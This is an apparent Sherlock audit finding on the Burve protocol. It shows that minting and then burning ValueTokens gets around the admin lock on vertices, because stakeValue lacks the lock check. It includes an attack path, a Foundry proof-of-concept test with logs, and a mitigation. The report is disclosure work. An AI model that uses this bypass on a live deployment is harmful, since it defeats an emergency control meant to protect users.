Sunny Cloth Cod

Medium

# Users can bypass vertex locking protection by burning value tokens

### Summary

The missing lock check in `Closure.sol::stakeValue` function will cause a security bypass for the protocol as users can circumvent vertex locking by burning value tokens to add liquidity to closures with locked vertices.

### Root Cause

`ValueTokenFacet.sol::mint()` and `ValueTokenFacet.sol::burn()` exist so users can mint ValueTokens so that they can unstake their value in a closure and thereafter burn the ValueTokens which stakes value in another closure within the protocol without fees, thus increasing capital efficiency.

The former routes this through `Closure.sol::unstake`, whilst the latter `Closure.sol::stake`.

The key fact for the system is that users should not be allowed to stake value through a closure to a vertex that is locked as denoted by this [message from the sponsor](https://discord.com/channels/812037309376495636/1363140869502402623/1369366714139148388).

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/0c13f76f-48cf-4446-9c67-816a739eeaf9)

[unstakeValue::504](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L504)  rightfully enforces this with this check:
```solidity
require(!isAnyLocked(self), CannotRemoveWithLockedVertex(self.cid));
```

Whereas [stakeValue](https://github.com/sherlock-audit/2025-04-burve/blob/main/Burve/src/multi/closure/Closure.sol#L517) lacks this check.

```solidity
    // No check anywhere

    function stakeValue(
        Closure storage self,
        uint256 value,
        uint256 bgtValue
    ) internal {
        trimAllBalances(self);
        uint256 maxValue = (self.targetX128 * self.n) >> 128;
        if (self.valueStaked > maxValue + SimplexLib.deMinimusValue())
            emit WarningExcessValueDetected(
                self.cid,
                maxValue,
                self.valueStaked
            );
        if (self.valueStaked + value > maxValue)
            revert InsufficientStakeCapacity(
                self.cid,
                maxValue,
                self.valueStaked,
                value
            );

        self.valueStaked += value;
        self.bgtValueStaked += bgtValue;
    }
```

This allows users to increase their value for a locked token in a closure whenever they wish to as they can mint ValueTokens from anywhere in the system and then stake them in a closure with a locked vertex.


### Internal Pre-conditions

1. Admin needs to call `LockFacet::lock()` on a vertex.
2. User mint ValueToken, this can be done from the targeted closure before locking or from a different closure altogether.
3. User burns ValueToken and stakes value to for locked vertex.

### External Pre-conditions

NA

### Attack Path

1. A user adds liquidity to a closure.
2. The user mints value tokens by calling `ValueTokenFacet::mint()`, converting their pool position to tokens.
3. A protocol admin locks one of the vertices.
4. The user bypasses this lock by burning their value tokens via `ValueTokenFacet::burn()`, which internally calls `stakeValue()` without checking if any vertices are locked
5. The user successfully adds value for the locked vertext in a closure, undermining the purpose of the locking mechanism

### Impact

Admins likely lock vertices for critical reasons such as:

- Preventing interaction with compromised tokens
- Facilitating safe protocol upgrades
- Halting operations due to volatile market conditions

This can be easily bypassed as ValueTokens can be minted from anywhere in the system and seemlessly added to the locked vertex. This doesn't directly cause token loss but significantly undermines a core security control, potentially creating conditions for various downstream exploits.

### PoC

- This PoC uses the `MutiSetupTest` from the protocol, add the following test to the project's test suite.
- Two tests have been included:
1. the first test shows that trying to add value to a closure with a locked vertex will revert
2. The second test shows a user can mint ValueToken and burn it into the closure with the locked vertex and their value increases.

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.17;

import {Test, console} from "forge-std/Test.sol";

import {IERC4626} from "openzeppelin-contracts/interfaces/IERC4626.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {MockERC4626} from "../mocks/MockERC4626.sol";

import {SimplexDiamond} from "../../src/multi/Diamond.sol";
import {IDiamond} from "Commons/Diamond/interfaces/IDiamond.sol";
import {DiamondCutFacet} from "Commons/Diamond/facets/DiamondCutFacet.sol";
import {LibDiamond} from "Commons/Diamond/libraries/LibDiamond.sol";

import {MultiSetupTest} from "../facets/MultiSetup.u.sol";

import {VaultFacet} from "../../src/multi/facets/VaultFacet.sol";
import {SimplexFacet} from "../../src/multi/facets/SimplexFacet.sol";
import {VaultType} from "../../src/multi/vertex/VaultPointer.sol";
import {ClosureId} from "../../src/multi/closure/Id.sol";
import {TokenRegistry} from "../../src/multi/Token.sol";
import {Store} from "../../src/multi/Store.sol";

contract VertexLockBypass is MultiSetupTest {
    TokenandVaultDeployer tokenandVaultDeployer;
    CustomFacet public customFacet;

    uint8 constant MAX_TOKENS = 16;

    uint256 public INIT_VALUE = 10000e18;
    uint256 public MINT_AMOUNT = 1000000e18;
    uint256 public LP_AMOUNT = INIT_VALUE;
    int256 public SWAP_AMOUNT_POSITIVE = 100e18;

    address[MAX_TOKENS] tokensAddresses;
    TokenandVaultDeployer.TokenVaults[MAX_TOKENS] vaultAddresses;

    address charlie = makeAddr("charlie");
    address dave = makeAddr("dave");
    address eve = makeAddr("eve");

    address[] public actors = [owner, alice, bob, charlie, dave, eve];

    function setUp() public virtual{
        vm.startPrank(owner);
        _newDiamond();

        tokenandVaultDeployer = new TokenandVaultDeployer();
        // deploy token 0 - regular token
        tokensAddresses[0] = tokenandVaultDeployer.createToken("TOKEN0", "TKN0", 18);
        // deploy regular vault
        vaultAddresses[0] = tokenandVaultDeployer.createActiveandBackupVaultPairOneToken(tokensAddresses[0]);

        // deploy token 1 - regular token
        tokensAddresses[1] = tokenandVaultDeployer.createToken("TOKEN1", "TKN1", 18);
        // deploy regular vault 
        vaultAddresses[1] = tokenandVaultDeployer.createActiveandBackupVaultPairOneToken(tokensAddresses[1]);

        // deploy token 2 - regular token
        tokensAddresses[2] = tokenandVaultDeployer.createToken("TOKEN2", "TKN2", 18);
        // deploy regular vault
        vaultAddresses[2] = tokenandVaultDeployer.createActiveandBackupVaultPairOneToken(tokensAddresses[2]);

        // Mint users tokens
        mintTokensMultipleUsers(actors, tokensAddresses[0], MINT_AMOUNT);
        mintTokensMultipleUsers(actors, tokensAddresses[1], MINT_AMOUNT);
        mintTokensMultipleUsers(actors, tokensAddresses[2], MINT_AMOUNT);
        require(tokensAddresses.length == MAX_TOKENS);
        require(vaultAddresses.length == MAX_TOKENS);

        // Deploy custom facet
        _customFacet();
        customFacet = CustomFacet(diamond);

        vm.stopPrank();
    }

    /*//////////////////////////////////////////////////////////////
                            PROOF OF CONCEPT
    //////////////////////////////////////////////////////////////*/
    function test_NormalValueAdditionBlockedByLockedVertex() public {
        // Regular token vertex 
        addVertexWithBothVaults(0);
        addVertexWithBothVaults(1);
        addVertexWithBothVaults(2);

        // Create closure with base fee of 1% and protocol takes 10%
        // 0000000000000111 = 7
        address[] memory vertices = new address[](3);
        vertices[0] = tokensAddresses[0];
        vertices[1] = tokensAddresses[1];
        vertices[2] = tokensAddresses[2];
        createClosure(vertices, uint128(LP_AMOUNT), 3402823669209384634633746074317682115, 34028236692093846346337460743176821146);
        printDivider("Closure Created");

        // alice adds value token 0
        userAddSingleForValue(alice, 7, tokensAddresses[0], (LP_AMOUNT), 0, 0);
        (uint256 cacheValue,) = viewValue(alice, 7);
        printDivider("Alice adds value");

        // Lock token 0
        vm.startPrank(owner);
        lockFacet.lock(tokensAddresses[0]);
        vm.stopPrank();
        printDivider("Token 0 locked");

        // Alice tries to add value closure with locked vertex
        vm.startPrank(alice);
        vm.expectRevert();
        valueFacet.addValue(alice, 7, uint128(LP_AMOUNT), 0);
        vm.stopPrank();
        printDivider("Alice add value for token 0 failed");
        (uint256 finalValue,) = viewValue(alice, 7);
        assert(cacheValue == finalValue);
    }

    function test_burningValueTokenBypassesLockedVertex() public {
        // Regular token vertex 
        addVertexWithBothVaults(0);
        addVertexWithBothVaults(1);
        addVertexWithBothVaults(2);

        // Create closure with base fee of 1% and protocol takes 10%
        // 0000000000000111 = 7
        address[] memory vertices = new address[](3);
        vertices[0] = tokensAddresses[0];
        vertices[1] = tokensAddresses[1];
        vertices[2] = tokensAddresses[2];
        createClosure(vertices, uint128(LP_AMOUNT), 3402823669209384634633746074317682115, 34028236692093846346337460743176821146);
        printDivider("Closure Created");

        // alice adds value token 0 
        userAddSingleForValue(alice, 7, tokensAddresses[0], (LP_AMOUNT), 0, 0);
        printDivider("Alice adds value");

        // alice removes value by minting Value token
        (uint256 value,) = viewValue(alice, 7);
        printValue(alice, "alice", 7);
        userMintsValueToken(alice, 7, value, 0);
        printDivider("Alice removes value for Value token");
        printValue(alice, "alice", 7);
        (value,) = viewValue(alice, 7);
        assert(value == 0);

        // Lock token 0
        vm.startPrank(owner);
        lockFacet.lock(tokensAddresses[0]);
        vm.stopPrank();
        printDivider("Token 0 locked");

        // Alice burns value token and adds to closure
        userBurnsValueToken(alice, 7, MockERC20(address(valueTokenFacet)).balanceOf(alice), 0);
        printDivider("Alice burns value token and adds to closure with locked vertex");
        printValue(alice, "alice", 7);

    }
    /*//////////////////////////////////////////////////////////////
                                HELPERS
    //////////////////////////////////////////////////////////////*/
    /**
     *            ----- ADD VALUE & PRINT EARNINGS -----
     */
    function userAddsValueAndPrintEarnings(address user, string memory userString, uint16 cId) public {
        userAddSingleForValue(user, cId, tokensAddresses[0], LP_AMOUNT, 0, 0);
        console.log("\n----- %s adds liquidity-----", userString);
        printEarnings(user, userString, cId, tokensAddresses);
    }
    /**
     *                ----- COLLECT EARNINGS -----
     */
    function collectEarningsAndPrint(address user, string memory userString, uint16 cId) public {
        printEarnings(user, userString, cId, tokensAddresses);
        console.log("----- %s collects earnings -----", userString);
        vm.startPrank(user);
        valueFacet.collectEarnings(alice, cId);
        vm.stopPrank();
    }
    /*//////////////////////////////////////////////////////////////
                      PROTOCOL BASIC ENTRY POINTS
    //////////////////////////////////////////////////////////////*/

    /**
     *                  ----- ADD VERTICES -----
     */

    function addVertexWithBothVaults(uint256 tokenId) public{
        _addVertexThroughSimplexFacet(tokensAddresses[tokenId], vaultAddresses[tokenId].active, VaultType.E4626);
        _addVertexThroughVaultFacet(tokensAddresses[tokenId], vaultAddresses[tokenId].backup, VaultType.E4626);
    }

    function addMaxVertices() public {
        for(uint256 i = 0; i < 16; i++){
            _addVertexThroughSimplexFacet(tokensAddresses[i], vaultAddresses[i].active, VaultType.E4626);
            _addVertexThroughVaultFacet(tokensAddresses[i], vaultAddresses[i].backup, VaultType.E4626);
        }
    }

    /**
     *                ----- ADD CLOSURE -----
     */

    function createClosure(address[] memory tokenAddrs, uint128 startingTarget, uint128 baseFeeX128, uint128 protocolTakeX128) public {
        if(tokenAddrs.length == 0) revert("No tokens provided");

        ClosureId cid = customFacet.getClosureId(tokenAddrs);

        _initialiseClosure( cid,  startingTarget, baseFeeX128, protocolTakeX128);
    }

    /**
     *               ----- USER ADDS VALUE -----
     */

    function userAddValue(address user, uint16 cId, uint128 value, uint128 bgtValue) public {
        ClosureId _closureId = ClosureId.wrap(cId);
        for (uint8 i = 0; i < MAX_TOKENS; ++i) {
            if (!_closureId.contains(i)) continue;
            _approveToken(user, diamond, tokensAddresses[i]);
        }
        vm.startPrank(user);
        valueFacet.addValue(user, cId, value, bgtValue);
        vm.stopPrank();
    }

    function userAddsValueSingle(address user, uint16 cId, address token, uint256 amount, uint128 bgtValue, uint128 maxRequired) public returns (uint256 requiredBalance){
        _approveToken(user, diamond, token);
        vm.startPrank(user);
        (requiredBalance) = valueFacet.addValueSingle(user, cId, uint128(amount), bgtValue, token, maxRequired);
        vm.stopPrank();
    }

    function userAddSingleForValue(address user, uint16 cId, address token, uint256 amount, uint256 bgtPercentX256, uint128 minValue) public returns (uint256 requiredBalance){
        _approveToken(user, diamond, token);
        vm.startPrank(user);
        (requiredBalance) = valueFacet.addSingleForValue(user, cId, token, uint128(amount), bgtPercentX256, minValue);
        vm.stopPrank();
    }

    /**
     *             ----- USER MINTS VALUETOKEN -----
     */
    function userMintsValueToken(address user, uint16 cId, uint256 value, uint256 bgtValue) public {
        vm.startPrank(user);
        valueTokenFacet.mint( value, bgtValue, cId);
        vm.stopPrank();
    }

    /**
     *             ----- USER BURNS VALUETOKEN -----
     */
    function userBurnsValueToken(address user, uint16 cId, uint256 value, uint256 bgtValue) public {
        vm.startPrank(user);
        valueTokenFacet.burn( value, bgtValue, cId);
        vm.stopPrank();
    }

    /*//////////////////////////////////////////////////////////////
                                  VIEW
    //////////////////////////////////////////////////////////////*/ 
    function viewValue(address user, uint16 cId) public view returns(uint256 value, uint256 bgtValue){
        (value, bgtValue,,) = _queryLPStandings(user, cId);
    }

    function viewEarnings(address user, uint16 cId) public view returns(uint256[MAX_TOKENS] memory earnings, uint256 bgtEarnings){
        (,,earnings, bgtEarnings) = _queryLPStandings(user, cId);
    }

    function printValue(address user, string memory userTostring, uint16 cId) public view {
        (uint256 value, uint256 bgtValue) = viewValue(user, cId);
        console.log("\nValue for user: ", userTostring);
        console.log("Value: %s, bgtValue: %s", value, bgtValue);
    }

    function printEarnings(address user, string memory userString, uint16 cId, address[16] memory tokenEarnings) public view {
        (uint256[MAX_TOKENS] memory earnings, uint256 bgtEarnings) = viewEarnings(user, cId);

        console.log("\nEarnings for user: ", userString);
        uint256 count = 0;
        for(uint256 i = 0; i < tokenEarnings.length; i++) {
            for(uint256 j = 0; j < MAX_TOKENS; j++) {
                if(tokenEarnings[i] == tokensAddresses[j]) {
                    if(earnings[j] > 0) {
                        console.log("Earnings for Token", j, ": ", earnings[j]);
                        count++;
                    }
                }
            }
        }
        if(count == 0) {
            console.log("No Earnings");
        }

        if(bgtEarnings > 0) {
            console.log("BGT Earnings: ", bgtEarnings);
        }
    }
    /*//////////////////////////////////////////////////////////////
                                  MISC
    //////////////////////////////////////////////////////////////*/
    function mintTokens(address recipient, address token, uint256 amount) public {
        _mintTokens(recipient, token, amount);
    }

    function mintTokensMultipleUsers(address[] memory recipients, address token, uint256 amount) public {
        for(uint256 i = 0; i < recipients.length; i++){
            _mintTokens(recipients[i], token, amount);
        }
    }

    function approveTokens(address approver, address approved, address token) public {
        _approveToken(approver, approved, token);
    }

    function printBalance(address user, string memory userString, address token) public view {
        for(uint256 i = 0; i < tokensAddresses.length; i++) {
            if(token == tokensAddresses[i]) {
                console.log("\n %s token %s balance: ", userString, i, MockERC20(token).balanceOf(user));
            }
        }
    }

    function printDivider(string memory dividerTitle) public pure{
        console.log("\n ----- %s -----", dividerTitle);
    }

   /*//////////////////////////////////////////////////////////////    /*//////////////////////////////////////////////////////////////    /*//////////////////////////////////////////////////////////////    /*//////////////////////////////////////////////////////////////
                                                                                                                                                
    //////////////////////////////////////////////////////////////*/    //////////////////////////////////////////////////////////////*/    //////////////////////////////////////////////////////////////*/    //////////////////////////////////////////////////////////////*/

    /*//////////////////////////////////////////////////////////////
                            HELPERS-INTERNAL
    //////////////////////////////////////////////////////////////*/
    /**
     *               ----- CREATE CUSTOM FACET -----
     */
    
    function _customFacet() internal {
        IDiamond.FacetCut[] memory cuts = new IDiamond.FacetCut[](1);

        bytes4[] memory selectors = new bytes4[](1);
        selectors[0] = CustomFacet.getClosureId.selector;

        cuts[0] = (
            IDiamond.FacetCut({
                facetAddress: address(new CustomFacet()),
                action: IDiamond.FacetCutAction.Add,
                functionSelectors: selectors
            })
        );

        vm.startPrank(owner);
        DiamondCutFacet cutFacet = DiamondCutFacet(diamond);
        cutFacet.diamondCut(cuts, address(0), "");
        vm.stopPrank();
    }

    /**
     *                  ----- ADD VAULTS -----
     */

     // Used For first vault of a token
    function _addVertexThroughSimplexFacet(address _token, address _vaultAddress, VaultType _vaultType) internal {
        vm.startPrank(owner);
        simplexFacet.addVertex( _token, _vaultAddress, _vaultType);

        // mint admin tokens
        _mintTokens(owner, _token, INIT_VALUE);

        // Approve diamond to spend tokens
        _approveToken(owner, diamond, _token);

        vm.stopPrank();
    }

    // Used For second vault of a token
    function _addVertexThroughVaultFacet(address _token, address _vaultAddress, VaultType _vaultType) internal {
        vm.startPrank(owner);
        vaultFacet.addVault( _token, _vaultAddress, _vaultType);

        // Warp to when vault can be accepted
        vm.warp(block.timestamp + 5 days);

        vaultFacet.acceptVault(_token);

        // mint admin tokens
        _mintTokens(owner, _token, INIT_VALUE);

        // Approve diamond to spend tokens
        _approveToken(owner, diamond, _token);

        vm.stopPrank();
    }

    /**
     *                  ----- ADD CLOSURES -----
     */

    function _initialiseClosure(ClosureId cid, uint128 startingTarget, uint128 baseFeeX128, uint128 protocolTakeX128) internal {
        vm.startPrank(owner);
        simplexFacet.addClosure(ClosureId.unwrap(cid), startingTarget, baseFeeX128, protocolTakeX128);
        vm.stopPrank();
    }
    /*//////////////////////////////////////////////////////////////
                             VIEW INTERNAL
    //////////////////////////////////////////////////////////////*/
    function _queryLPStandings(address user, uint16 cId) public view returns (
            uint256 value,
            uint256 bgtValue,
            uint256[MAX_TOKENS] memory earnings,
            uint256 bgtEarnings
        ){
        (value, bgtValue, earnings, bgtEarnings) = valueFacet.queryValue(user, cId);
    }
    
    /*//////////////////////////////////////////////////////////////
                             MISC-INTERNAL
    //////////////////////////////////////////////////////////////*/

    function _mintTokens(address recipient, address token, uint256 amount) internal { 
        vm.startPrank(owner);
        MockERC20(token).mint(recipient, amount);
        vm.stopPrank();
    }

    function _approveToken(address approver, address approved, address token) internal {
        vm.startPrank(approver);
        MockERC20(token).approve(
            address(approved),
            type(uint256).max
        );
        vm.stopPrank();
    }
}
contract TokenandVaultDeployer is Test {

    struct TokenVaults {
        address active;
        address backup;
    }

    uint256 constant TOKENS = 16;
    // Helper function to create a single token with specified decimals
    function createToken(string memory name, string memory symbol, uint8 decimals) public returns (address token) {
        token = address(new MockERC20(name, symbol, decimals));
    }

    // Helper function to create a vault for a given token
    function createVault(address token, string memory name, string memory symbol) public returns (address vault) {
        vault = address(new MockERC4626(MockERC20(token), name, symbol));
    }

    // Helper function to create active and backup vault for a given token
    function createActiveandBackupVaultPairOneToken(address token) public returns(TokenVaults memory vaults){
        vaults.active = createVault(token, "Active Vault", "AV");
        vaults.backup = createVault(token, "Backup Vault", "BV");
    }
}

contract CustomFacet {

    function getClosureId(address[] memory tokens) external view returns (ClosureId) {
    uint16 cid = 0;
    TokenRegistry storage tokenReg = Store.tokenRegistry();
    for (uint256 i = 0; i < tokens.length; ++i) {
        uint16 idx = uint16(1 << tokenReg.tokenIdx[tokens[i]]);
        cid |= idx;
    }
    return ClosureId.wrap(cid);
    }   

}

```

Output for test 1:
```markdown
[PASS] test_NormalValueAdditionBlockedByLockedVertex() (gas: 3151022)
Logs:
  
 ----- Closure Created -----
  
 ----- Alice adds value -----
  
 ----- Token 0 locked -----
  
 ----- Alice add value for token 0 failed -----

```

Output for test 2:
```markdown
[PASS] test_burningValueTokenBypassesLockedVertex() (gas: 3697632)
Logs:
  
 ----- Closure Created -----
  
 ----- Alice adds value -----
  
Value for user:  alice
  Value: 9458899972498624914055, bgtValue: 0
  
 ----- Alice removes value for Value token -----
  
Value for user:  alice
  Value: 0, bgtValue: 0
  
 ----- Token 0 locked -----
  
 ----- Alice burns value token and adds to closure with locked vertex -----
  
Value for user:  alice
  Value: 9458899972498624914055, bgtValue: 0

```

### Mitigation

Add the same locking check to the `stakeValue` function that exists in `unstakeValue`.